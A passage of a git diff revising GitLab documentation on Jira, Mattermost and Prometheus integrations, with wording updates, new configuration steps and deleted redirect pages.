indicated. + | Field | Description | + | ----- | ----------- | + | `Web URL` | The base URL to the Jira instance web interface which is being linked to this GitLab project. For example, `https://jira.example.com`. | + | `Jira API URL` | The base URL to the Jira instance API. Web URL value is used if not set. For example, `https://jira-api.example.com`. Leave this field blank (or use the same value of `Web URL`) if using **Jira on Atlassian cloud**. | + | `Username or Email` | Created in [configure Jira](#configure-jira) step. Use `username` for **Jira Server** or `email` for **Jira on Atlassian cloud**. | + | `Password/API token` | Created in [configure Jira](#configure-jira) step. Use `password` for **Jira Server** or `API token` for **Jira on Atlassian cloud**. | + | `Jira workflow transition IDs` | Required for closing Jira issues via commits or merge requests. These are the IDs of transitions in Jira that move issues to a particular state. (See [Obtaining a transition ID](#obtaining-a-transition-id).) If you insert multiple transition IDs separated by `,` or `;`, the issue is moved to each state, one after another, using the given order. In GitLab 13.6 and earlier, field was called `Transition ID`. | -To include a comment on the Jira issue when the above reference is made in GitLab, check **Enable comments**. +1. To enable users to view Jira issues inside the GitLab project, select **Enable Jira issues** and + enter a Jira project key. **(PREMIUM)** -Enter the further details on the page as described in the following table. + You can only display issues from a single Jira project within a given GitLab project. -| Field | Description | -| ----- | ----------- | -| `Web URL` | The base URL to the Jira instance web interface which is being linked to this GitLab project. E.g., `https://jira.example.com`. | -| `Jira API URL` | The base URL to the Jira instance API. Web URL value is used if not set. For example, `https://jira-api.example.com`. Leave this field blank (or use the same value of `Web URL`) if using **Jira Cloud**. | -| `Username or Email` | Created in [configuring Jira](#configuring-jira) step. Use `username` for **Jira Server** or `email` for **Jira Cloud**. | -| `Password/API token` |Created in [configuring Jira](#configuring-jira) step. Use `password` for **Jira Server** or `API token` for **Jira Cloud**. | -| `Jira workflow transition IDs` | Required for closing Jira issues via commits or merge requests. These are the IDs of transitions in Jira that move issues to a particular state. (See [Obtaining a transition ID](#obtaining-a-transition-id).) If you insert multiple transition IDs separated by `,` or `;`, the issue is moved to each state, one after another, using the given order. In GitLab 13.6 and earlier, field was called `Transition ID`. | + WARNING: + If you enable Jira issues with the setting above, all users that have access to this GitLab project + are able to view all issues from the specified Jira project. -To enable users to view Jira issues inside the GitLab project, select **Enable Jira issues** and enter a Jira project key. **(PREMIUM)** +1. To enable creation of issues for vulnerabilities, select **Enable Jira issues creation from vulnerabilities**. -You can only display issues from a single Jira project within a given GitLab project. + 1. Select the **Jira issue type**. If the dropdown is empty, select refresh (**{retry}**) and try again. -WARNING: -If you enable Jira issues with the setting above, all users that have access to this GitLab project -are able to view all issues from the specified Jira project. +1. To verify the Jira connection is working, select **Test settings**. -When you have configured all settings, click **Test settings and save changes**. +1. Select **Save changes**. -Your GitLab project can now interact with all Jira projects in your instance and the project now displays a Jira link that opens the Jira project. +Your GitLab project can now interact with all Jira projects in your instance and the project now +displays a Jira link that opens the Jira project. #### Obtaining a transition ID @@ -107,19 +148,19 @@ administration UI. You can get the ID you need in either of the following ways: 1. By mousing over the link for the transition you want and looking for the "action" parameter in the URL -Note that the transition ID may vary between workflows (e.g., bug vs. story), +Note that the transition ID may vary between workflows (for example, bug vs. story), even if the status you are changing to is the same. #### Disabling comments on Jira issues You can continue to have GitLab cross-link a source commit/MR with a Jira issue while disabling the comment added to the issue. -See the [Configuring GitLab](#configuring-gitlab) section and uncheck the **Enable comments** setting. +See the [Configure GitLab](#configure-gitlab) section and uncheck the **Enable comments** setting. ## Jira issues -By now you should have [configured Jira](#configuring-jira) and enabled the -[Jira service in GitLab](#configuring-gitlab). If everything is set up correctly +By now you should have [configured Jira](#configure-jira) and enabled the +[Jira service in GitLab](#configure-gitlab). If everything is set up correctly you should be able to reference and close Jira issues by just mentioning their ID in GitLab commits and merge requests. @@ -201,7 +242,7 @@ with a link to the commit that resolved the issue. > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3622) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. -You can browse and search issues from a selected Jira project directly in GitLab. This requires [configuration](#configuring-gitlab) in GitLab by an administrator. +You can browse and search issues from a selected Jira project directly in GitLab. This requires [configuration](#configure-gitlab) in GitLab by an administrator.  diff --git a/doc/user/project/integrations/jira_cloud_configuration.md b/doc/user/project/integrations/jira_cloud_configuration.md index b8eebef8e42..e9f30f32308 100644 --- a/doc/user/project/integrations/jira_cloud_configuration.md +++ b/doc/user/project/integrations/jira_cloud_configuration.md @@ -4,10 +4,10 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Creating an API token in Jira Cloud +# Create an API token in Jira on Atlassian cloud -An API token is needed when integrating with Jira Cloud, follow the steps -below to create one: +For [integrations with Jira](jira.md), an API token is needed when integrating with Jira +on Atlassian cloud. To create an API token: 1. Log in to [`id.atlassian.com`](https://id.atlassian.com/manage-profile/security/api-tokens) with your email address. @@ -17,10 +17,11 @@ below to create one: 1. Click **Create API token**. - +  - +1. Click **Copy**, or click **View** and write down the new API token. It is required when [configuring GitLab](jira.md#configure-gitlab). -1. Click **Copy**, or click **View** and write down the new API token. It is required when [configuring GitLab](jira.md#configuring-gitlab). +  -The Jira configuration is complete. You need the newly created token, and the associated email address, when [configuring GitLab](jira.md#configuring-gitlab) in the next section. +The Jira configuration is complete. You need the newly created token, and the associated email +address, when [configuring GitLab](jira.md#configure-gitlab). diff --git a/doc/user/project/integrations/jira_integrations.md b/doc/user/project/integrations/jira_integrations.md index 3c91fd3549f..6a1529f001a 100644 --- a/doc/user/project/integrations/jira_integrations.md +++ b/doc/user/project/integrations/jira_integrations.md @@ -6,26 +6,46 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Jira integrations -## Introduction +GitLab can be integrated with [Jira](https://www.atlassian.com/software/jira). -GitLab Issues are a tool for discussing ideas and planning and tracking work. However, your organization may already use Jira for these purposes, with -extensive, established data and business processes they rely on. +[Issues](../issues/index.md) are a tool for discussing ideas, and planning and tracking work. +However, your organization may already use Jira for these purposes, with extensive, established data +and business processes they rely on. -Although you can [migrate](../../../user/project/import/jira.md) your Jira issues and work exclusively in GitLab, you also have the option of continuing to use Jira by using the GitLab Jira integrations. +Although you can [migrate](../../../user/project/import/jira.md) your Jira issues and work +exclusively in GitLab, you can also continue to use Jira by using the GitLab Jira integrations. -## Integrations +## Integration types -The following Jira integrations allow different types of cross-referencing between GitLab activity and Jira issues, with additional features: +There are two different Jira integrations that allow different types of cross-referencing between +GitLab activity and Jira issues, with additional features: -- [**Jira integration**](jira.md) - This is built in to GitLab. In a given GitLab project, it can be configured to connect to any Jira instance, self-managed or Cloud. -- [**Jira development panel integration**](../../../integration/jira_development_panel.md) - This connects all GitLab projects under a specified group or personal namespace. - - If you're using Jira Cloud and GitLab.com, install the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) app in the Atlassian Marketplace and see its [documentation](../../../integration/jira_development_panel.md#gitlab-for-jira-app). - - For all other environments, use the [Jira DVCS Connector configuration instructions](../../../integration/jira_development_panel.md#configuration). +- [Jira integration](jira.md), built in to GitLab. In a given GitLab project, it can be configured + to connect to any Jira instance, either hosted by you or hosted in + [Atlassian cloud](https://www.atlassian.com/cloud). +- [Jira development panel integration](../../../integration/jira_development_panel.md). Connects all + GitLab projects under a specified group or personal namespace. -### Feature comparison +Jira development panel integration configuration depends on whether: + +- You're using GitLab.com or a self-managed GitLab instance. +- You're using Jira on [Atlassian cloud](https://www.atlassian.com/cloud) or on your own server. + +| You use Jira on: | For the Jira development panel integration, GitLab.com customers need: | For the Jira development panel integration, GitLab self-managed customers need: | +|:-------------------|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| Atlassian cloud | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) application installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview), using a workaround process. See a [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/268278) for more information. | +| Your own server | The [Jira DVCS connector](../../../integration/jira_development_panel.md). | The [Jira DVCS connector](../../../integration/jira_development_panel.md). | + +NOTE: +DVCS means distributed version control system. + +## Feature comparison + +The integration to use depends on the capabilities your require. You can install both at the same +time. | Capability | Jira integration | Jira Development Panel integration | -|-----------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------| +|:----------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------| | Mention of Jira issue ID in GitLab is automatically linked to that issue | Yes | No | | Mention of Jira issue ID in GitLab issue/MR is reflected in the Jira issue | Yes, as a Jira comment with the GitLab issue/MR title and a link back to it. Its first mention also adds the GitLab page to the Jira issue under “Web links”. | Yes, in the issue’s Development panel | | Mention of Jira issue ID in GitLab commit message is reflected in the issue | Yes. The entire commit message is added to the Jira issue as a comment and under “Web links”, each with a link back to the commit in GitLab. | Yes, in the issue’s Development panel and optionally with a custom comment on the Jira issue using Jira Smart Commits. | @@ -33,3 +53,4 @@ The following Jira integrations allow different types of cross-referencing betwe | Record Jira time tracking information against an issue | No | Yes. Time can be specified via Jira Smart Commits. | | Transition or close a Jira issue with a Git commit or merge request | Yes. Only a single transition type, typically configured to close the issue by setting it to Done. | Yes. Transition to any state using Jira Smart Commits. | | Display a list of Jira issues | Yes **(PREMIUM)** | No | +| Create a Jira issue from a vulnerability or finding **(ULTIMATE)** | Yes | No | diff --git a/doc/user/project/integrations/jira_server_configuration.md b/doc/user/project/integrations/jira_server_configuration.md index d2a42c0535e..5bb17388a1e 100644 --- a/doc/user/project/integrations/jira_server_configuration.md +++ b/doc/user/project/integrations/jira_server_configuration.md @@ -4,61 +4,65 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Creating a username and password for Jira Server +# Create Jira Server username and password -We need to create a user in Jira to have access to all projects that need to integrate with GitLab. +For [integrations with Jira](jira.md), you must create a user account in Jira to have access to +all projects that need to integrate with GitLab. -As an example, we create a user named `gitlab` and add it to a new group -named `gitlab-developers`. +The Jira user account created for the integration must have write access to +your Jira projects. -NOTE: -It is important that the Jira user created for the integration is given 'write' -access to your Jira projects. This is covered in the process below. +As an example, the following process creates a user named `gitlab` and that's a +member of a new group named `gitlab-developers`: -1. Log in to your Jira instance as an administrator and under **Jira Administration** - go to **User Management** to create a new user. +1. Sign in to your Jira instance as an administrator, and + then go to the gear icon and select **User Management**.  -1. The next step is to create a new user (e.g., `gitlab`) who has write access - to projects in Jira. Enter the user's name and a _valid_ e-mail address - since Jira sends a verification e-mail to set up the password. +1. Create a new user account (for example, `gitlab`) with write access to + projects in Jira. Enter the user account's name and a valid e-mail address, + because Jira sends a verification email to set up the password. - Jira creates the username automatically by using the e-mail - prefix. You can change it later, if needed. Our integration does not support SSO (such as SAML). You - need to create an HTTP basic authentication password. You can do this by visiting the user - profile, looking up the username, and setting a password. + Jira creates the username by using the email prefix. You can change the + username later, if needed. The GitLab integration doesn't support SSO (such + as SAML). You need to create an HTTP basic authentication password. You can + do this by visiting the user profile, looking up the username, and setting a + password.  -1. Create a `gitlab-developers` group (we give this group write access to Jira - projects in a later step.) Go to the **Groups** tab on the left, and select **Add group**. +1. From the sidebar, select **Groups**.  - Give it a name and click **Add group**. +1. In the **Add group** section, enter a **Name** for the group (for example, + `gitlab-developers`), and then select **Add group**. -1. Add the `gitlab` user to the `gitlab-developers` group by clicking **Edit members**. - The `gitlab-developers` group should be listed in the leftmost box as a selected group. - Under **Add members to selected group(s)**, enter `gitlab`. +1. Add the `gitlab` user to the `gitlab-developers` group by selecting **Edit members**. + The `gitlab-developers` group should be listed in the leftmost box as a + selected group. In the **Add members to selected group(s)** area, enter `gitlab`.  - Click **Add selected users** and `gitlab` should appear in the **Group member(s)** box. - This membership is saved automatically. + Select **Add selected users**, and `gitlab` should appear in the **Group member(s)** + area. This membership is saved automatically.  -1. To give the newly-created group 'write' access, you need to create a **Permission Scheme**. - To do this, click the gear icon and select **Issues**. Then click **Permission Schemes**. - Click **Add Permission Scheme** and enter a **Name** and, optionally, a **Description**. +1. To give the newly-created group 'write' access, you must create a permission + scheme. To do this, in the admin menu, go to the gear icon and select **Issues**. -1. Once your permission scheme is created, you are taken back to the permissions scheme list. - Locate your new permissions scheme and click **Permissions**. Next to **Administer Projects**, - click **Edit**. In the resulting dialog box, select **Group** and select `gitlab-developers` - from the dropdown. +1. From the sidebar, select **Permission Schemes**. + +1. Select **Add Permission Scheme**, enter a **Name** and (optionally) a + **Description**, and then select **Add**. + +1. In the permissions scheme list, locate your new permissions scheme, and + select **Permissions**. Next to **Administer Projects**, select **Edit**. In + the **Group** list, select `gitlab-developers`.  The Jira configuration is complete. Write down the new Jira username and its -password as they are needed when [configuring GitLab in the next section](jira.md#configuring-gitlab). +password, as you need them when [configuring GitLab](jira.md#configure-gitlab). diff --git a/doc/user/project/integrations/kubernetes.md b/doc/user/project/integrations/kubernetes.md deleted file mode 100644 index 646c9ed66d5..00000000000 --- a/doc/user/project/integrations/kubernetes.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../clusters/index.md' ---- - -This document was moved to [another location](../clusters/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/mattermost.md b/doc/user/project/integrations/mattermost.md index e80f672d05d..db190f47b01 100644 --- a/doc/user/project/integrations/mattermost.md +++ b/doc/user/project/integrations/mattermost.md @@ -58,5 +58,7 @@ At the end, fill in your Mattermost details: | **Webhook** | The incoming webhook URL which you have to set up on Mattermost, similar to: `http://mattermost.example/hooks/5xo…` | | **Username** | Optional username which can be on messages sent to Mattermost. Fill this in if you want to change the username of the bot. | | **Notify only broken pipelines** | If you choose to enable the **Pipeline** event and you want to be only notified about failed pipelines. | +| **Branches to be notified** | Select which types of branches to send notifications for. | +| **Labels to be notified** | Optional labels that the issue or merge request must have in order to trigger a notification. Leave blank to get all notifications. | - + diff --git a/doc/user/project/integrations/overview.md b/doc/user/project/integrations/overview.md index c391877be20..b22a7c0295e 100644 --- a/doc/user/project/integrations/overview.md +++ b/doc/user/project/integrations/overview.md @@ -13,7 +13,7 @@ functionality to GitLab. ## Accessing integrations You can find the available integrations under your project's -**Settings ➔ Integrations** page. +**Settings > Integrations** page. There are more than 20 integrations to integrate with. Click on the one that you want to configure. @@ -39,7 +39,7 @@ Click on the service links to see further configuration instructions and details | [Emails on push](emails_on_push.md) | Email the commits and diff of each push to a list of recipients | No | | External Wiki | Replaces the link to the internal wiki with a link to an external wiki | No | | Flowdock | Flowdock is a collaboration web app for technical teams | No | -| [Generic alerts](../../../operations/incident_management/alert_integrations.md) **(ULTIMATE)** | Receive alerts on GitLab from any source | No | +| [Generic alerts](../../../operations/incident_management/integrations.md) **(ULTIMATE)** | Receive alerts on GitLab from any source | No | | [GitHub](github.md) **(PREMIUM)** | Sends pipeline notifications to GitHub | No | | [Hangouts Chat](hangouts_chat.md) | Receive events notifications in Google Hangouts Chat | No | | [HipChat](hipchat.md) | Private group chat and IM | No | @@ -53,8 +53,8 @@ Click on the service links to see further configuration instructions and details | Packagist | Update your projects on Packagist, the main Composer repository | Yes | | Pipelines emails | Email the pipeline status to a list of recipients | No | | [Slack Notifications](slack.md) | Send GitLab events (for example, an issue was created) to Slack as notifications | No | -| [Slack slash commands](slack_slash_commands.md) **(CORE ONLY)** | Use slash commands in Slack to control GitLab | No | -| [GitLab Slack application](gitlab_slack_application.md) **(FREE ONLY)** | Use Slack's official application | No | +| [Slack slash commands](slack_slash_commands.md) **(FREE SELF)** | Use slash commands in Slack to control GitLab | No | +| [GitLab Slack application](gitlab_slack_application.md) **(FREE SAAS)** | Use Slack's official application | No | | PivotalTracker | Project Management Software (Source Commits Endpoint) | No | | [Prometheus](prometheus.md) | Monitor the performance of your deployed apps | No | | Pushover | Pushover makes it easy to get real-time notifications on your Android device, iPhone, iPad, and Desktop | No | diff --git a/doc/user/project/integrations/project_services.md b/doc/user/project/integrations/project_services.md deleted file mode 100644 index 69e2ea2856c..00000000000 --- a/doc/user/project/integrations/project_services.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'overview.md' ---- - -This document was moved to [Integrations](overview.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/prometheus.md b/doc/user/project/integrations/prometheus.md index 1507cea348a..c307fd8d628 100644 --- a/doc/user/project/integrations/prometheus.md +++ b/doc/user/project/integrations/prometheus.md @@ -4,22 +4,25 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Prometheus integration +# Prometheus integration **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/8935) in GitLab 9.0. -GitLab offers powerful integration with [Prometheus](https://prometheus.io) for monitoring key metrics of your apps, directly within GitLab. +GitLab offers powerful integration with [Prometheus](https://prometheus.io) for +monitoring key metrics of your apps, directly in GitLab. Metrics for each environment are retrieved from Prometheus, and then displayed -within the GitLab interface. +in the GitLab interface.  There are two ways to set up Prometheus integration, depending on where your apps are running: - For deployments on Kubernetes, GitLab can automatically [deploy and manage Prometheus](#managed-prometheus-on-kubernetes). -- For other deployment targets, simply [specify the Prometheus server](#manual-configuration-of-prometheus). +- For other deployment targets, [specify the Prometheus server](#manual-configuration-of-prometheus). -Once enabled, GitLab detects metrics from known services in the [metric library](prometheus_library/index.md). You can also [add your own metrics](../../../operations/metrics/index.md#adding-custom-metrics) and create +Once enabled, GitLab detects metrics from known services in the +[metric library](prometheus_library/index.md). You can also +[add your own metrics](../../../operations/metrics/index.md#adding-custom-metrics) and create [custom dashboards](../../../operations/metrics/dashboards/index.md). ## Enabling Prometheus Integration @@ -28,7 +31,8 @@ Once enabled, GitLab detects metrics from known services in the [metric library] > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28916) in GitLab 10.5. -GitLab can seamlessly deploy and manage Prometheus on a [connected Kubernetes cluster](../clusters/index.md), making monitoring of your apps easy. +GitLab can seamlessly deploy and manage Prometheus on a +[connected Kubernetes cluster](../clusters/index.md), to help you monitor your apps. #### Requirements @@ -36,7 +40,7 @@ GitLab can seamlessly deploy and manage Prometheus on a [connected Kubernetes cl #### Getting started -Once you have a connected Kubernetes cluster, deploying a managed Prometheus is as easy as a single click. +After you have a connected Kubernetes cluster, you can deploy a managed Prometheus with a single click. 1. Go to the **Operations > Kubernetes** page to view your connected clusters 1. Select the cluster you would like to deploy Prometheus to @@ -46,17 +50,28 @@ Once you have a connected Kubernetes cluster, deploying a managed Prometheus is #### About managed Prometheus deployments -Prometheus is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/prometheus). Prometheus is only accessible within the cluster, with GitLab communicating through the [Kubernetes API](https://kubernetes.io/docs/concepts/overview/kubernetes-api/). +Prometheus is deployed into the `gitlab-managed-apps` namespace, using the +[official Helm chart](https://github.com/helm/charts/tree/master/stable/prometheus). +Prometheus is only accessible in the cluster, with GitLab communicating through the +[Kubernetes API](https://kubernetes.io/docs/concepts/overview/kubernetes-api/). -The Prometheus server [automatically detects and monitors](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) nodes, pods, and endpoints. To configure a resource to be monitored by Prometheus, simply set the following [Kubernetes annotations](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/): +The Prometheus server +[automatically detects and monitors](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) +nodes, pods, and endpoints. To configure a resource to be monitored by Prometheus, +set the following [Kubernetes annotations](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/): - `prometheus.io/scrape` to `true` to enable monitoring of the resource. - `prometheus.io/port` to define the port of the metrics endpoint. - `prometheus.io/path` to define the path of the metrics endpoint. Defaults to `/metrics`. -CPU and Memory consumption is monitored, but requires [naming conventions](prometheus_library/kubernetes.md#specifying-the-environment) in order to determine the environment. If you are using [Auto DevOps](../../../topics/autodevops/index.md), this is handled automatically. +CPU and Memory consumption is monitored, but requires +[naming conventions](prometheus_library/kubernetes.md#specifying-the-environment) +to determine the environment. If you are using +[Auto DevOps](../../../topics/autodevops/index.md), this is handled automatically. -The [NGINX Ingress](../clusters/index.md#installing-applications) that is deployed by GitLab to clusters, is automatically annotated for monitoring providing key response metrics: latency, throughput, and error rates. +The [NGINX Ingress](../clusters/index.md#installing-applications) that is deployed +by GitLab to clusters, is automatically annotated for monitoring providing key +response metrics: latency, throughput, and error rates. ##### Example of Kubernetes service annotations and labels @@ -161,15 +176,16 @@ Installing and configuring Prometheus to monitor applications is fairly straight 1. [Install Prometheus](https://prometheus.io/docs/prometheus/latest/installation/) 1. Set up one of the [supported monitoring targets](prometheus_library/index.md) -1. Configure the Prometheus server to [collect their metrics](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_config) +1. Configure the Prometheus server to + [collect their metrics](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_config) #### Configuration in GitLab -The actual configuration of Prometheus integration within GitLab +The actual configuration of Prometheus integration in GitLab requires the domain name or IP address of the Prometheus server you'd like to integrate with. If the Prometheus resource is secured with Google's Identity-Aware Proxy (IAP), -additional information like Client ID and Service Account credentials can be passed which -GitLab can use to access the resource. More information about authentication from a +you can pass information like Client ID and Service Account credentials. +GitLab can use these to access the resource. More information about authentication from a service account can be found at Google's documentation for [Authenticating from a service account](https://cloud.google.com/iap/docs/authentication-howto#authenticating_from_a_service_account). @@ -191,12 +207,13 @@ service account can be found at Google's documentation for #### Thanos configuration in GitLab You can configure [Thanos](https://thanos.io/) as a drop-in replacement for Prometheus -with GitLab, using the domain name or IP address of the Thanos server you'd like +with GitLab. Use the domain name or IP address of the Thanos server you'd like to integrate with. 1. Navigate to the [Integrations page](overview.md#accessing-integrations). 1. Click the **Prometheus** service. -1. Provide the domain name or IP address of your server, for example `http://thanos.example.com/` or `http://192.0.2.1/`. +1. Provide the domain name or IP address of your server, for example + `http://thanos.example.com/` or `http://192.0.2.1/`. 1. Click **Save changes**. ### Precedence with multiple Prometheus configurations @@ -223,7 +240,7 @@ can use only one: > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10408) in GitLab 9.2. > - GitLab 9.3 added the [numeric comparison](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/27439) of the 30 minute averages. -Developers can view the performance impact of their changes within the merge +Developers can view the performance impact of their changes in the merge request workflow. This feature requires [Kubernetes](prometheus_library/kubernetes.md) metrics. When a source branch has been deployed to an environment, a sparkline and diff --git a/doc/user/project/integrations/prometheus_library/cloudwatch.md b/doc/user/project/integrations/prometheus_library/cloudwatch.md index b563dd34896..4a88010a343 100644 --- a/doc/user/project/integrations/prometheus_library/cloudwatch.md +++ b/doc/user/project/integrations/prometheus_library/cloudwatch.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Monitoring AWS resources +# Monitoring AWS resources **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12621) in GitLab 9.4 diff --git a/doc/user/project/integrations/prometheus_library/haproxy.md b/doc/user/project/integrations/prometheus_library/haproxy.md index c14c14658b7..290313ac1af 100644 --- a/doc/user/project/integrations/prometheus_library/haproxy.md +++ b/doc/user/project/integrations/prometheus_library/haproxy.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Monitoring HAProxy +# Monitoring HAProxy **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12621) in GitLab 9.4 diff --git a/doc/user/project/integrations/prometheus_library/index.md b/doc/user/project/integrations/prometheus_library/index.md index 501e8ba7c1d..998300e255f 100644 --- a/doc/user/project/integrations/prometheus_library/index.md +++ b/doc/user/project/integrations/prometheus_library/index.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Prometheus Metrics library +# Prometheus Metrics library **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/8935) in GitLab 9.0. @@ -35,6 +35,6 @@ In order to isolate and only display relevant metrics for a given environment, GitLab needs a method to detect which labels are associated. To do that, GitLab uses the defined queries and fills in the environment specific variables. Typically this involves looking for the -[`$CI_ENVIRONMENT_SLUG`](../../../../ci/variables/README.md#predefined-environment-variables), +[`$CI_ENVIRONMENT_SLUG`](../../../../ci/variables/README.md#predefined-cicd-variables), but may also include other information such as the project's Kubernetes namespace. Each search query is defined in the [exporter specific documentation](#exporters). diff --git a/doc/user/project/integrations/prometheus_library/kubernetes.md b/doc/user/project/integrations/prometheus_library/kubernetes.md index ae330158a58..2a6bc810f71 100644 --- a/doc/user/project/integrations/prometheus_library/kubernetes.md +++ b/doc/user/project/integrations/prometheus_library/kubernetes.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Monitoring Kubernetes +# Monitoring Kubernetes **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/8935) in GitLab 9.0. @@ -40,7 +40,7 @@ Prometheus needs to be deployed into the cluster and configured properly in orde In order to isolate and only display relevant CPU and Memory metrics for a given environment, GitLab needs a method to detect which containers it is running. Because these metrics are tracked at the container level, traditional Kubernetes labels are not available. -Instead, the [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or [DaemonSet](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/) name should begin with [CI_ENVIRONMENT_SLUG](../../../../ci/variables/README.md#predefined-environment-variables). It can be followed by a `-` and additional content if desired. For example, a deployment name of `review-homepage-5620p5` would match the `review/homepage` environment. +Instead, the [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or [DaemonSet](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/) name should begin with [CI_ENVIRONMENT_SLUG](../../../../ci/variables/README.md#predefined-cicd-variables). It can be followed by a `-` and additional content if desired. For example, a deployment name of `review-homepage-5620p5` would match the `review/homepage` environment. ## Displaying Canary metrics **(PREMIUM)** diff --git a/doc/user/project/integrations/prometheus_library/metrics.md b/doc/user/project/integrations/prometheus_library/metrics.md deleted file mode 100644 index a275efce5bb..00000000000 --- a/doc/user/project/integrations/prometheus_library/metrics.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'index.md' ---- - -This document was moved to [another location](index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/prometheus_library/nginx.md b/doc/user/project/integrations/prometheus_library/nginx.md index 4cb827b3b4a..dcaef1e2ae6 100644 --- a/doc/user/project/integrations/prometheus_library/nginx.md +++ b/doc/user/project/integrations/prometheus_library/nginx.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Monitoring NGINX +# Monitoring NGINX **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12621) in GitLab 9.4 diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress.md b/doc/user/project/integrations/prometheus_library/nginx_ingress.md index f7542ec78f7..f7e6b6e76d6 100644 --- a/doc/user/project/integrations/prometheus_library/nginx_ingress.md +++ b/doc/user/project/integrations/prometheus_library/nginx_ingress.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Monitoring NGINX Ingress Controller +# Monitoring NGINX Ingress Controller **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22133) in GitLab 11.7. diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md index c855e564753..0c86c4921b3 100644 --- a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md +++ b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Monitoring NGINX Ingress Controller with VTS metrics +# Monitoring NGINX Ingress Controller with VTS metrics **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13438) in GitLab 9.5. diff --git a/doc/user/project/integrations/prometheus_units.md b/doc/user/project/integrations/prometheus_units.md deleted file mode 100644 index 0c2ce3002ee..00000000000 --- a/doc/user/project/integrations/prometheus_units.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../operations/metrics/dashboards/yaml_number_format.md' ---- - -This document was moved to [another 